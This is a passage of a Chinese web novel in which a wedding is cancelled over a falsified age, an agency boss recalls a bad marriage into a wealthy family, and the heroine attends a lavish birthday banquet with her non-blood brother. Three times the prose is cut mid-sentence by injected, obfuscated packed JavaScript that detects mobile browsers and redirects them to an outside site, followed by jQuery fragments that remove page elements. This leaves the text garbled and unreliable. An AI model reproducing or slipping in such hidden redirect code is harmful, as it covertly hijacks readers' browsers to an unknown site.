何咏晴选的美甲款式太复杂,做完已经是中午了。两人一起去吃了一家南洋菜,然后逛街购物。经过市区一家古庙时,有搞玄学的阿婆招揽生意,冲何咏晴和池镜心喊:“两位靓女,今年属蛇虎猴猪的人犯太岁,要不要化解一下啊?”
池镜心不怎么信这些,何咏晴倒是挺感兴趣地凑上前问:“怎么化解啊?”
阿婆:“可以来我这里买太岁锦囊,98元一个。”
这价格倒也不贵。何咏晴没怎么犹豫,买了两个生肖虎的太岁锦囊。
池镜心记得骆品谦是属虎的,何咏晴是属龙的,其中一个锦囊应该是给未婚夫买的,另一个属虎的锦囊又是给谁买的呢?
她问何咏晴:“姐姐你家有人属虎吗?”
何咏晴笑了笑,没有回答。
何咏晴逛了一下午的街,采购了许多备婚清单上的物品。池镜心一直耐心地陪着她,给她拎各种物品,提各种建议。到了晚上,两人一起吃了个晚饭,便各回各家了。
池镜心回到渣甸山,一进屋就看到裴清昀坐在沙发上看新闻,茶几上堆了好几个盒子。
她吹了声口哨,裴清昀偏过头冷淡地瞥了她一眼,又继续看新闻。
她走过去坐下,从何咏晴送她的钩针小包里取出一个小盒子,递给裴清昀。
“呐,给你买了一份礼物。”
裴清昀接过去,打开一看,是一对方形银质袖扣。
他脸色稍霁:“我还以为你跟你的咏晴姐姐玩到都忘记还有我这个哥了。”
池镜心故意逗他:“确实把你给忘了。但是咏晴姐姐给她未婚夫买袖扣的时候,店员说多买一份可以打折,我就顺便给你也买了一份,帮咏晴姐姐省点钱。”
裴清昀冷哼一声:“索性你别认我了,直接去何咏晴家给她当妹妹吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169139|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
池镜心没再说话,她那飘忽不定的注意力被钩针小包上的一朵小花给吸引了,低头摆弄了起来。
裴清昀看着她手里的草莓造型钩针小包,有些不理解:“你都这么大个人了,还买这种小孩子用的廉价小包做什么?嘉嘉上次拿的那个包还挺好看的,要不要给你也买一个?”
池镜心很宝贝地把钩针小包捂进怀里:“什么叫廉价小包啊?这个包包是咏晴姐姐亲手做的,心意无价!”
裴清昀:“……”
他突然有点担心池镜心将来会是一个恋爱脑。今天她跟他说什么“心意无价”,明天就会拉一个穷小子来跟他说“有情饮水饱”。
裴清昀越想越头疼。他严重怀疑他给池镜心准备的资产早晚会被外面那些捞男给骗光。
池镜心把钩针小包放到沙发上,去翻茶几上的那几个盒子。
离她最近的两个大盒子里放的是两条鸡尾酒礼服。两条都是黑色的,其中一条长度到膝盖上方,纯黑裙摆之下缀满了大朵大朵的白色山茶花,将裙摆撑出一个可爱的弧度。
另一条黑色吊带裙长度到小腿,裙身上密密麻麻地绣着米粒大小的黑色小石粒,随着角度变换,这些小石粒折射出耀眼的光芒,好像夜空中闪烁的星星一样。
“你居然买了两条裙子!两条都好好看啊!”池镜心发出由衷的感慨。
不知道是不是从小一起长大的关系,裴清昀总能将她的喜好把握得十分精准,给她选的礼物都完全符合她的审美。
池镜心继续打开其他的盒子,这个盒子里装的是珠宝,一整套月桂叶系列钻石高珠的光辉将她的脸都照亮了。
“哇,我真的要在你妹妹的生日宴上戴这套高珠吗?不会抢她风头吧?”
“不会。”裴清昀十分笃定,“你不知道她每年过生日打扮得有多浮夸,没人能抢得了她的风头。”
池镜心继续打开下一个盒子,然后她就爆发出了一声惊叫:“啊!你把太阳花这套也买回来了!”
裴清昀淡定地嗯了一声:“我还给你订了同系列的戒指,要下个月才能送过来。”
高级珠宝不比寻常首饰,一整套下来至少都得要个几百万,有些孤品甚至能上亿。就算是豪门贵妇千金,购买高珠都是非常谨慎的,怎么都得前后考量个几个月。
池镜心万万没想到,他居然会直接把两套现货都买下来,仅仅因为她说两套都挺好看。
“不是……这……有必要买两套吗?我只是参加一次生日宴而已啊。”池镜心挠了挠脑袋,只觉得匪夷所思。
“你都成年了,也该置办些像样的首饰了,以后用得着的场合还很多。其实我看到图册上还有好几套高珠很适合你,只是没有现货,现在买来不及了。只要你明年能考上港大,我就再给你订几套。”
池镜心激动得嗷了一声,张开手臂直往裴清昀身上扑:“哥!你是全世界最好的哥!”
裴清昀眼疾手快地拿起一个抱枕抵在她胸口,将她推开:“你能不能有点人样?别有事没事就往我身上扑。”
池镜心歪着头打量他:“你觉不觉得你很别扭?只要我黏咏晴姐姐,你就吃醋;但我黏你,你又不乐意。你到底想怎样?”
裴清昀:“……”
其实他也发现了,自己的反应确实很别扭。但他不打算承认。
他沉默片刻,拿起茶几上一对小盒子,开始转移话题:“嘉嘉要求佩戴的蛇元素首饰,我也买好了。”
他将两个盒子打开,里面放着两枚造型一样的蛇形胸针,细看会发现两只蛇的眼睛颜色并不相同,一只蛇的眼睛部位镶的是红宝石,另一只蛇的眼睛部位镶的是祖母绿。
他将两个盒子推到池镜心面前,问:“你要哪一枚?”
池镜心随手指了指其中一枚胸针:“我要绿眼睛的这枚。”
“行,那另一枚归我了。”
池镜心眼珠子一转,笑得有几分暧昧玩味:“诶,你说到时候咱俩戴同样的胸针,不会被人误会是情侣吧?”
“不会。”
“你怎么知道不会?”
裴清昀一瞬不瞬地盯着她的眼睛,用手指了指自己的嘴角:“你看这是什么?”
池镜心眼睛一亮,凑近了些许:“这是……要亲亲的意思?”
她说话时越凑越近,气息都轻轻拂过了裴清昀的下颚,似乎下一秒就会亲上去。
裴清昀心脏一悸,池镜心的气息像一串细小的电流,瞬间钻进了他的身体里。昨晚那个越界行为所带来的异样感觉又卷土重来。
他整个人往后仰,随手拎起一个抱枕,往池镜心脑袋上一顿狂砸:“我的意思是,我长了嘴的!我会主动跟人介绍,说你是我妹妹!”
“嗷!”池镜心被抱枕砸得东倒西歪,灰溜溜跑回卧室洗漱去了。
裴清昀面无表情地盯着她的背影。明明落荒而逃的是她,但他才是感到难堪的那一个。
第二天一大早,裴清昀就出差去了。池镜心一个人在家,被钟言真催着写调查报告。
委托人骆仲贤夫妇要求池镜心亲自写这份调查报告,务必把跟何咏晴接触的每一个细节都交代清楚,不可有任何遗漏。
池镜心充分发挥了自己身为推理小说家预备役的文学素养,把何咏晴给夸得天上有地下无的。
何咏晴送她钩针小包,说明她心灵手巧,待人接物妥帖周到;何咏晴主动救助低血糖路人,还愿意帮路人垫付医药费,说明她心地善良,乐于助人,仗义疏财;何咏晴花了一下午时间买备婚物品,给未婚夫选礼物,说明她体贴顾家,深爱伴侣,堪为良配……
池镜心完全把这份调查报告当成了夸夸小作文来写,洋洋洒洒写了上万字。将调查报告发送给钟言真后,她轻吁了一口气,心想这回骆家应该无论如何都挑不出毛病来了吧?这桩婚事总算是稳了吧?
之后三天时间,裴清昀一直呆在外地。池镜心一个人在家玩了三天,周四这天被钟言真叫去了事务所。
钟言真开了个会,向员工们布置了新的委托任务,时间便来到了中午。池镜心和几个同事一起在会议室里吃外卖,钟言真也端着便当盒凑过来,边吃边跟大家闲聊。
钟言真:“你们知道吗?骆品谦和何咏晴的婚礼取消了。”
池镜心心头一震:“什么?!”
钟言真:“现在消息还没放出来,不过要不了多久全港都会知道了。港岛就这么几百万人口,有一点破八卦都会传得满城风雨。”
池镜心足足消化了好几秒这个消息,才颤着声音问:“怎么会这样?不会是……不会是因为我那份调查报告吧?”
钟言真爱怜地摸了一把她的脑袋,有些欲言又止。
池镜心呆愣半晌,只觉得心脏被愧疚填充得沉甸甸的,往无尽的深渊坠了下去。
24. 八卦
“到底为什么要取消婚礼啊?”池镜心嗓音艰涩,像是在追问,又像是在喃喃自语。
钟言真耸了耸肩:“我也不清楚具体内情。骆家已经把尾款给结了,我哪里好意思再打听人家的家事。你不是跟裴清昀和何咏晴都挺熟的嘛,你去问问他们呗。”
池镜心已经没胃口吃饭了。她想问问何咏晴到底发生什么事了,又没有勇气联系她。
“你没有必要自责。”钟言真安慰道,“你给的调查报告都是如实描述,又没有编造事实。骆家看了那份报告会作何反应,那是他们的事。
再说了,骆家这老两口疑心病重得跟心理有问题似的,何咏晴要真嫁过去了,还不知道要受多少搓磨呢。我看这婚不结也挺好,有福之女不入无福之家。”
池镜心没说话,一整个下午她都心不在焉,直到晚上回到家,见到已经出差回来的裴清昀。
吃晚饭时,她状似无意地提起此事:“听说咏晴姐姐跟她未婚夫的婚礼取消了?”
裴清昀嗯了一声。
“为什么要取消啊?发生什么事了?”
前天晚上骆品谦喝多了,在伴郎群里疯狂发消息,跟大家吐槽这件事。因此裴清昀得知了这起变故的来龙去脉。眼下池镜心问了起来,他便将其中原委讲给她听。
原来,前两天何咏晴与骆家人聚餐,席间骆仲贤质问何咏晴,她明明是属龙的,为何要在包上挂一个属虎人用的摄太岁桃木牌。
何咏晴还没说什么,骆品谦就主动打圆场,说那桃木牌不是摄太岁用的,就是个普通挂坠。
骆仲贤对这个解释并不买账。何咏晴也不知道是怎么想的,可能是觉得在长辈面前撒谎抵赖很没意思,便主动承认了,她的年龄改小了两岁,其实她是和骆品谦同一年出生的。
骆家人为此大为光火。骆家跟港岛其他豪门世家一样,都非常迷信。他们家信奉的大师说,骆品谦不能和跟自己同一年出生的女孩子结婚,否则必然婚姻不顺,家运不济,子孙后代不贤不肖。
因此,骆家现在坚决反对骆品谦和何咏晴的婚事,还威胁骆品谦说如果他执意要结这个婚,就撤销他的信托,将来一分钱都不会留给他。
池镜心低着头默默扒饭,心想肯定是因为她在调查报告里提到何咏晴买了两个属虎的摄太岁锦囊,引起了骆家的怀疑,才闹出这一场风波。
不过咏晴姐姐到底是什么时候改的年龄?全事务所的同事都花了大量时间精力调查她的背景,她所有的资料都明明白白写着她今年二十五岁。她要是真改过年龄的话,怎么会一点蛛丝马迹都没有留下来呢?
池镜心装作一脸好奇地问:“咏晴姐姐为什么要改年龄啊?什么时候改的?”
裴清昀:“我听骆品谦说,何咏晴在内地生活的时候,得过一场重病。她父母带着她到处求医问药,治了两三年时间才痊愈。因此,她上学比寻常小孩晚了许多,九岁了才正式入学读一年级。她父母心疼女儿,怕她因为年龄大被同学歧视嘲笑,就托关系把她户口上的年龄改小了两岁。
何咏晴其实也没觉得改年龄这事有什么大不了,她刚跟骆品谦交往的时候,就跟他提过自己的真实年龄。骆品谦知道自己的父母太过迷信,不允许他找同一年出生的女孩,因此他让何咏晴在骆家人面前一定要瞒住改年龄的事。没想到骆家最后还是察觉到了不对劲。”
池镜心恍然大悟,原来是十几年前改的年龄,又是在内地,这确实太难查了,难怪他们没查出来。
吃过晚饭,裴清昀监督池镜心温书两小时,便让她回房间休息了。
池镜心回到卧室,左思右想,还是给何咏晴打了个电话。
“咏晴姐姐……”池镜心深吸一口气,鼓起勇气问,“你还好吗?”
“阿心你都听说了吧?婚礼取消了。”何咏晴的声音听起来竟然挺平静挺淡定,“别担心,我没什么事。”
池镜心有些诧异,她准备了一箩筐安慰的话,这下都不知道该不该说出口了。
她嗫嚅了好一会儿,才小声说:“咏晴姐姐你就是人太好太耿直了,其实你完全可以拒绝承认改年龄的事的,你不忍心骗他们,他们却……算了,就当看清他们的嘴脸了,你以后一定会找到更合适的结婚对象的。”
何咏晴笑了笑:“其实我不是不忍心骗他们,我只是在那一瞬间突然想放弃了。我和品谦谈婚论嫁以来,品谦的家人一直表现得很强势很难搞。我一想到往后几十年都要跟这样的人家相处,就感到无比窒息。因此,当他们质问我年龄的问题时,我一冲动就直接坦白了。”
池镜心终于松了一口气。原来是这样……还好咏晴姐姐自己想得开。
“咏晴姐姐,我觉得你做得非常对。你这么优秀,将来找什么样的结婚对象找不到啊?何必面对骆家那一屋子奇葩。我让阿昀给你留意,只要有优秀正直的单身男孩子,都介绍给你。”
何咏晴没忍住笑出了声:“阿心你好可爱。不过这事就不用你费心了。婚礼是取消了,但我和品谦并没有分手啊。”
“啊?!什么意思?”
“我本来是打算跟他分手的。但品谦说,他不接受分手,他可以放弃骆家的一切跟我走。我没想到他态度这么坚定,就还挺感动的,便打算给他一个机会。过段时间我俩打算一起出国发展,以后骆家再也管不了我俩的事了。”
“这样啊,那太好了!”
池镜心也没想到这个骆品谦居然会这么坚定。本来她还一直觉得这男的配不上何咏晴,现在看来,他自身还是有些优点的,难怪能被何咏晴这么优秀的女孩子看上。
虽然骆品谦今后可能都无法再得到家族的支持了,但他一个成年男人,有手有脚有学历,靠自己怎么就不行了?不比当个被家族控制的傀儡强?
池镜心不禁有些感慨,这起变故真是峰回路转,柳暗花明,最后竟朝着对何咏晴有利的方向发展了。她终于放下心来,今晚可以睡个安稳觉了。
第二天早上,池镜心来到事务所,钟言真一边泡咖啡一边跟她打了个招呼:“阿心来啦?你打听到骆家为什么取消婚礼了吗?”
池镜心有些意外:“你还惦记着这事呢?”
“当然,”钟言真挑了挑眉,很是理直气壮,“八卦是全人类共同的爱好。”
这会儿时间还早,池镜心给自己泡了杯果茶,和钟言真一起进了她的办公室,坐下来边喝茶边跟钟言真分享骆家的八卦。
分享完之后,她很是感慨:“骆家也太迷信了,居然为了所谓的大师的一句话,狠心拆散小情侣,拆不散就索性连亲生儿子都不要了。这是人能干出来的事吗?”
钟言真嗤笑了一声:“港岛这些所谓的名门世家都这样啦,表面看着都衣冠楚楚,人模人样的,其实脑子里全是封建糟粕。我前夫一家比骆家更迷信,更不干人事,要不怎么成前夫了呢。”
池镜心感兴趣地竖起了耳朵:“钟姐你前夫家都干嘛了?详细说说?”
钟言真幽幽叹了口气,开始追忆往昔:“还不就是那些老掉牙的狗血剧情。我前夫家也是骆家这样的老牌豪门。我那会儿年轻,没谈过什么恋爱,突然被一个豪门公子哥猛烈追求,我就昏了头了,从警队离职,嫁进豪门当了全职太太。”
池镜心不解:“为什么要离职?你不能一边当警察一边当豪门贵妇吗?”
“当然不行啦。我前夫家眼高于顶,说不能接受一个整天到处乱跑的差婆当他家新抱。”
“他们敢骂你是差婆?!”池镜心气得直拍桌子,“你没有把他们痛骂一顿吗?没有港岛这三万多警察整天到处乱跑,港岛凭什么能被评为亚洲最安全的城市之一?”
“你冷静点。”钟言真拍了拍她的手,“我们那个年代的女孩子,哪有你们这么强的自我意识。人家说我的工作不体面,我还难过自卑了好一会儿呢。我家里人也都劝我辞职嫁人,我就稀里糊涂地嫁了。
结婚之后,我跟我前夫一家真是哪哪都合不来。人家自诩上流社会,要我学社交礼仪,学品酒,学高尔夫,学这学那,学得我头都大了。他家规矩多得不得了,我在街头吃一份鸡蛋仔,都要被骂举止不得体,有辱他家门楣。
最过份的还是我生孩子的时候,我都已经痛到想死了,他们还叫我再忍一忍,说大师给孩子定了一个特别好的生辰八字,让我务必熬到那个时辰再生。”
池镜心目瞪口呆地望着钟言真:“这……真姐,你受苦了。”
钟言真长叹了一口气:“生孩子那次我算是看明白了,他们一家是真没把我的命当命,所以生完没多久我就离婚了。我现在想起我那个死前夫都恨不得宰了他。如果没有跟他结婚,我在警队至少也是个警司了,有社会地位有退休金,哪里用得着像现在这样开个破事务所,每天辛苦揾食,生怕下个月发不出薪水来。”
池镜心两只手捧着茶杯,点了点头:“婚姻真可怕。”
今天她左手腕上戴着一条太阳花钻石手链,被清晨的阳光照耀得极尽璀璨。这条手链来自裴清昀送她的那套太阳花系列高珠,款式比较简单低调,日常佩戴也不会显得浮夸。
钟言真不动声色地盯着这条钻石手链看了几秒钟。她年轻时当过几年豪门贵妇,对这些奢侈品都有所了解。她一眼就认出来了,这条钻石手链来自某全球顶级珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170552|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝品牌的经典系列,比池镜心之前戴的那只满钻手表还要贵得多。
钟言真总觉得池镜心和裴清昀的关系没那么简单。会有男人对一个没有血缘关系的妹妹这么慷慨大方吗?尤其是阿心还这么年轻漂亮,那个裴清昀能一丝邪念都没有?
“你跟裴清昀……还是兄妹关系吧?”钟言真试探着问。
“当然!”池镜心觉得这个问题有点莫名其妙,“不然还能是什么关系?”
就算她馋她便宜哥哥的身子,就算哪天她真的把人拐上了床,那也不代表什么。她不太想跟裴清昀谈恋爱,也不想跟他结婚,他俩当兄妹就挺好。
钟言真看着眼前的故人之女,颇有几分语重心长:“我年轻时经历了那一桩糟糕的婚姻,总结出一个道理:女人自己有钱才是最爽的;其次是当有钱人的女儿;再其次是当有钱人的妹妹;最后才是当有钱人的妻子。”
池镜心听得懵懵懂懂:“真姐你跟我说这个干嘛?”
“没什么,就是想提点你一下,你当一个男人的妹妹,他会对你好,还不图你什么。但是如果你当他的妻子,他不一定对你有多好,反而还会无休止地要求你为他牺牲,为他付出,把你压榨得身心俱疲。
不是我危言耸听,是男人都这德性。这世上好父亲好哥哥好儿子多了去了,好丈夫却没几个,男人都可着自己老婆欺负。”
池镜心懂了:“我跟他就是兄妹而已。”
钟言真伸手薅了两把池镜心柔软的头发:“你别嫌我唠叨啊,我是看在你母亲跟我是警校同学的份上才说这些的。我的人生经历就是前车之鉴,我不想看到老同学的女儿也栽同样的跟头。”
池镜心像猫咪一样用脑袋蹭了蹭钟言真的掌心:“放心吧真姐,这辈子只有我玩男人的份,几时轮得到我吃亏啊。”
钟言真一把将她脑袋推开了:“没个正经。干你的活去。”
晚上池镜心回到渣甸山,一边吃晚饭,一边听裴清昀跟她说:“明晚就是嘉嘉的生日宴了。下午会有专门做妆造的团队上门来给你做妆发。”
“哈?”池镜心简直无语,“咱们到底是去参加你表妹的生日宴,还是去参加女王的登基仪式啊?要不要搞得这么隆重啊?”
裴清昀:“我还不是为你着想。上次你去参加派对,就是因为打扮得太随意了,人家以为你没背景,才肆无忌惮地找茬欺负你。这个社会就是这么肤浅,先敬罗衫后敬人。我只是不想明晚还有人找你的茬。对了,上次找你麻烦的那个周伯凯,已经被他家长辈打包扔到国外留学去了,你不会再在港岛见到他了。”
池镜心敏锐地眯起眼睛:“他是自愿去留学的,还是被你逼着去留学的?”
裴清昀冷笑了一声:“用得着我逼迫他?他家长辈但凡有点脑子,也该知道他这种烂仔留在港岛,只会给家族带来更多的麻烦。”
事实上,周家的长辈们一听说周伯凯在派对上欺负了裴清昀的妹妹,当即就要亲自登门致歉。裴清昀不喜欢陌生人来家里,便拒绝了。周家人很有眼力见地主动向他保证,今后会把周伯凯发配得远远的,绝不会再让他出现在裴家人面前。
第二天下午,妆造团队准时□□。池镜心百无聊赖地坐在餐厅椅子上,闭上眼睛听音乐,任由他们摆弄。
等他们忙活完,池镜心睁开眼睛看着镜子里的自己,突然爆发出一声尖叫:“啊!”
裴清昀正在楼上书房办公,他端起咖啡杯正要喝一口咖啡,就听到楼下传来池镜心尖厉的叫声。他吓得手一抖,半杯咖啡都泼到了自己的浅色家居服上。
池镜心惊慌的叫声持续从楼下传来:“哥!阿昀!你快下来!出大事了!我的天呐!”
裴清昀吓得心慌手抖。楼下到底出什么事了?有歹徒冲进来挟持阿心?还是他请来的妆造团队中有变态,欺负了阿心?
他顾不得自己一身的咖啡渍,迅速冲下了楼。
“发生什么事了?”他三两步走到池镜心面前,拉着她的胳膊上下检查了一番。确定她身上没有受伤后,他才稍稍定了定神。
池镜心指着镜子里的自己,满脸的惊慌失措:“你看!镜子里的这个人是谁啊?怎么会这么好看!是个大明星吧?反正肯定不是我!好奇怪呀,我怎么跑到别人的身体里去了?我原来的身体去哪了?”
裴清昀:“…………”
悄悄是离别的笙箫,沉默是他在竭力抑制把池镜心打一顿的冲动。
池镜心已经演得如痴如狂,物我不分,甚至还带上了哭腔:“哥,你说句话呀,你认识镜子里的这个人吗?她是谁呀?”
裴清昀:“……是个神经病。”
25. 宴会
裴清昀不想再搭理她,转身上了楼。
他回卧室洗了个澡,换上一身黑色塔士多礼服,别上红眼蛇形胸针,再次下了楼。
池镜心也已经换好衣服了,她穿了那件裙摆下缀满大朵白色山茶花的黑色礼服裙,佩戴着全套月桂叶系列高珠,胸口的位置别着绿眼蛇形胸针,正坐在沙发上玩手游。
虽然裴清昀还是很气她一言不合就随地发癫的比格行为,但他不得不承认,今天阿心确实漂亮得令人心惊。
技艺高超的专业化妆师给她化了个清透元气的淡妆,完美凸显了她身上的少女感。发型师将她的长发打理得跟绸缎一样柔亮顺滑,发丝如流水般流淌在她白皙的肩头,肩颈线条优美得如同最名贵的瓷器。
一个工人从客厅经过,裴清昀终于回过神来。意识到自己居然失神地盯着阿心看了好几秒,他莫名感到难堪。还好池镜心一直低着头玩手机,没注意到他的反常。
“走了。”他走过去,冷声提醒她。
池镜心站起身,一边跟着他往外走,一边问:“今晚我是不是应该像电影里演的那样,全程挽着你的胳膊?”
“不许碰我。”
池镜心脸皮堪比城墙:“那你挽我的胳膊也行,你当我的armcandy。”
“你居然都知道armcandy这个词了,”裴清昀诧异又欣慰,“不枉我每天冒着被你气死的风险给你补习英文。”
两人上了车,裴清昀严肃地警告她:“今晚管好你的嘴巴和爪子,不许跟嘉嘉吵架,也不许对我动手动脚。”
“那要是你表妹主动跟我吵怎么办?我还不能还嘴?”
“你俩谁先挑事,我就揍谁。”
池镜心撇了撇嘴,已经预感到了今晚肯定很无聊。事实上,当初她答应参加这个生日宴,只是为了接近何咏晴。但如今骆家的委托已经结束了,其实她根本没有必要再参加这个无聊的生日宴的。
只是裴清昀为了让她今晚能体面地出席生日宴,又买高珠又买礼服,花钱如流水,甚至还请了专业的妆造团队给她做妆发,她要是临时爽约了,她都怕裴清昀会忍不住掐死她。
裴清昀始终牢记今晚的使命:带池镜心出席裴清嘉的生日宴,让她俩借此机会缓和关系,和睦相处。
他提醒池镜心:“待会儿见到嘉嘉,你嘴巴放甜一点。要是不知道该说什么,就往死里夸她。她喜欢美式社交那套,再虚伪再浮夸的夸奖她都接受良好。”
“知道了知道了。”池镜心低着头玩手游,把他的话当成了耳边风。
裴清嘉的生日宴设在了她位于浅水湾的私人住宅中。为了契合生日宴主题,庭院里摆放着一个艺术装置,是一条巨大的,会发光的白蛇。
池镜心坐在车里,远远看见那条巨蛇高高抬起的脑袋,长长的蛇信子,冰冷的蛇眼,鸡皮疙瘩都泛起来了。
“我天,那条蛇好吓人,你表妹该不会是变态……”
她话还没说完,裴清昀就一记眼刀飞过来,她立马识相地闭嘴了。
两人下了车,将邀请函交给裴清嘉的管家检查,然后一起进入宅邸。
晚宴正式开始前有个小小的鸡尾酒会,已经到了的宾客都各自拿着一杯鸡尾酒闲聊寒暄。裴清嘉端着一杯玛格丽特,走过来跟他俩打招呼。
“你今天怎么打扮得这么可爱?”裴清嘉诧异地上下打量池镜心,还伸出手挠了挠她的下巴,跟逗猫似的。
池镜心也同样诧异地打量裴清嘉。她终于知道裴清昀为什么说没人能抢他表妹风头了,裴清嘉确实打扮得非常浮夸,一身极尽繁复的高珠,华丽艳冶的勃艮第红礼服裙,头上甚至还戴了一顶王冠。
裴清嘉凑过来挠她下巴时,池镜心近距离观察她的王冠,发现那顶王冠上居然缠绕着数条细细的金属小蛇。好好的王冠,竟成了蛇窝。
这样的设计在池镜心看来诡异又可怕,她一阵恶寒,浑身都僵住了。
裴清嘉见她一脸呆滞地望着自己,傲娇地抬了抬下巴:“怎么?被姐的美貌震惊到失语了?”
池镜心:“你的王冠好可……”
“怕”字还没说出口,裴清昀就眼疾手快地掐了一把她的掌心。
池镜心立马改口:“可爱,太可爱了,我从未见过如此可爱别致的王冠。”
裴清嘉被夸得眼睛都眯了起来:“你当然没见过啦,这顶王冠是我为了这次生日特别定制的,全球仅此一顶。你喜欢的话,我可以借你戴一戴,拍几张照片,正好今晚我安排了好几个摄影师。”
裴清嘉作势要叫个摄影师过来,池镜心赶紧拒绝了:“不了不了,我今天穿得太素淡了,不适合戴这么华丽霸气的王冠,就不必拍照了。”
“那行吧,”裴清嘉也不勉强,“以后你想戴可以来找我借,我很大方很好说话的。”
裴清嘉走开后,池镜心终于松了一口气。
裴清昀有些不满:“都提前跟你说了,要嘴甜一点,你刚才差点就说错话了。”
池镜心也对他挺不满:“你还好意思说,你让我别对你动手动脚的,你刚才却偷偷掐我手心,对我动手动……唔!”
池镜心一激动声音就提高了几度,周围已经有几个八卦的宾客在侧耳偷听他俩的谈话。还好裴清昀反应极快,一把捂住了池镜心的嘴,免得她说出什么让人误会的话来。
裴清昀低声训斥她:“你小声一点!”
池镜心将他的手拍开,压低了声音骂他:“你还捂我的嘴!这也算是动手动脚!你个双标狗!”
她气鼓鼓地转身走开了,决定今晚都不要再搭理裴清昀。
裴清昀望着她的背影,脑子里鬼使神差地回忆起刚才捂她嘴时的触感,然后他鬼使神差地低头看了一眼自己的手掌,发现白皙的掌心上沾着一抹带珠光的浅粉色。
他思考片刻才反应过来,这是池镜心嘴唇上的口红,刚刚他捂她嘴的时候不小心沾上的。
意识到这抹浅粉的来历后,他脑子轰的一声炸开,全身血液都不受控制地沸腾起来。大庭广众之下,他再度为自己的反应感到难堪。
池镜心自己拿了一杯酒有一搭没一搭地喝着,打发无聊的时间。她本想躲个清静,没想到不断有宾客过来找她聊天,以年轻女孩居多。
这些女孩子见池镜心是跟裴清昀一起过来的,两人又佩戴同款胸针,都好奇他俩的关系。过来打探几句,得知他俩其实是兄妹后,这些女孩都暗暗松了一口气,然后开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170553|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夸池镜心长得可爱,又伸手挠了挠她的下巴,便走开了。
池镜心感觉自己今晚好像成了一只猫猫NPC,哪个小姐姐见了都得过来挠几下她的下巴,跟完成系统任务似的。
没过一会儿,何咏晴和骆品谦一起到了。池镜心立刻走上前去跟何咏晴打招呼。见何咏晴笑容和煦,心情并未受到退婚事件的影响,她终于彻底放心下来。
整场晚宴的流程在池镜心看来都挺无聊的,她故意不搭理裴清昀,裴清昀也一直心不在焉的,没有搭理她。他眉头微蹙,好像在思考什么令他困惑的难题。
池镜心冷冷地瞥他一眼,心想:装货,装什么深沉。
池镜心一转身,发现身后站着一个年轻男孩子,不知道盯着自己看了多久了。这个男孩子长得挺俊秀的,戴黑色耳钉,头发是茶棕色,应该是染的,不像裴清昀那一头褐色头发,是纯天然的妈生色。
男孩子笑了笑,主动做了个自我介绍:“你好,我叫梁修齐。”
池镜心只回了一个字:“哦。”
梁修齐继续说了下去:“抱歉,我刚才一直盯着你看,因为我发现我好像见过你。”
池镜心只觉得这对话很无聊:“可能之前你在骆品谦的派对上见过我吧。我参加过的有钱人派对就这么两场,穷人的派对我倒是参加过不少。”
梁修齐笑得很开心:“你讲话好可爱。其实我已经想起来了,之前我帮我妈妈打印过她事务所的员工资料,她手下有一个叫池镜心的员工,名字很好听,照片里的长相也很可爱,我就多留意了一眼。你跟那位员工长得很像。”
池镜心脸色顿时就变了:“你是钟言真的儿子?”
昨天她还在听钟言真讲自己年轻时的故事,得知她曾经嫁入豪门,还生了个孩子,今晚那个孩子居然就直接站到了她面前。港岛真是太小了,都用不着六人定律,三人定律都可以把全港岛的人都认识一遍。
梁修齐点了点头:“你果然就是池镜心。你怎么会在这里?你是在帮我妈妈调查什么案子吗?”
池镜心慌忙抬手去捂他的嘴:“你小声点!不许跟今天在场的任何人透露我的职业!”
不远处,裴清昀看见她跟一个年轻男孩子聊得有来有回的,甚至还伸手去捂人家的嘴……他突然生起气来。
那嘴是能随便捂的吗!会碰到对方的嘴唇的!这种举动是很暧昧的!能不能跟陌生人保持边界感!他不许池镜心对自己动手动脚,所以她就去跟别人动手动脚?太过份了!
梁修齐很是配合地压低了声音,用说悄悄话的音量,附在池镜心耳边轻声说:“所以我猜中了是吧?我看到你是跟裴清昀一起来的,难道我妈妈给你安排的任务是色诱裴清昀?我天,这也太刺激了。”
不远处的裴清昀已经气得整个人都不好了。这个男孩子也丝毫没有边界感!说话就说话,凑那么近干嘛!他那肮脏的气息都要喷到阿心耳朵上了!还戴耳钉!染头发!一看就不是什么正经人!
池镜心已经有些不耐烦了:“姐的事你少管,敢对任何人透露我的职业,我就让你妈收拾你。”
梁修齐笑了笑,既像是在撒娇,又像是在耍赖:“阿心姐姐,你陪我吃顿饭,我就听你的。”
26. 焦虑
池镜心很讨厌被人威胁,哪怕梁修齐是以撒娇的口吻说的这句话,但本质上依然是威胁。
她脸色一沉,正要发火骂人,身后传来一个熟悉的声音:“你们在聊什么?”
裴清昀走到池镜心身侧,颇感兴趣地问。
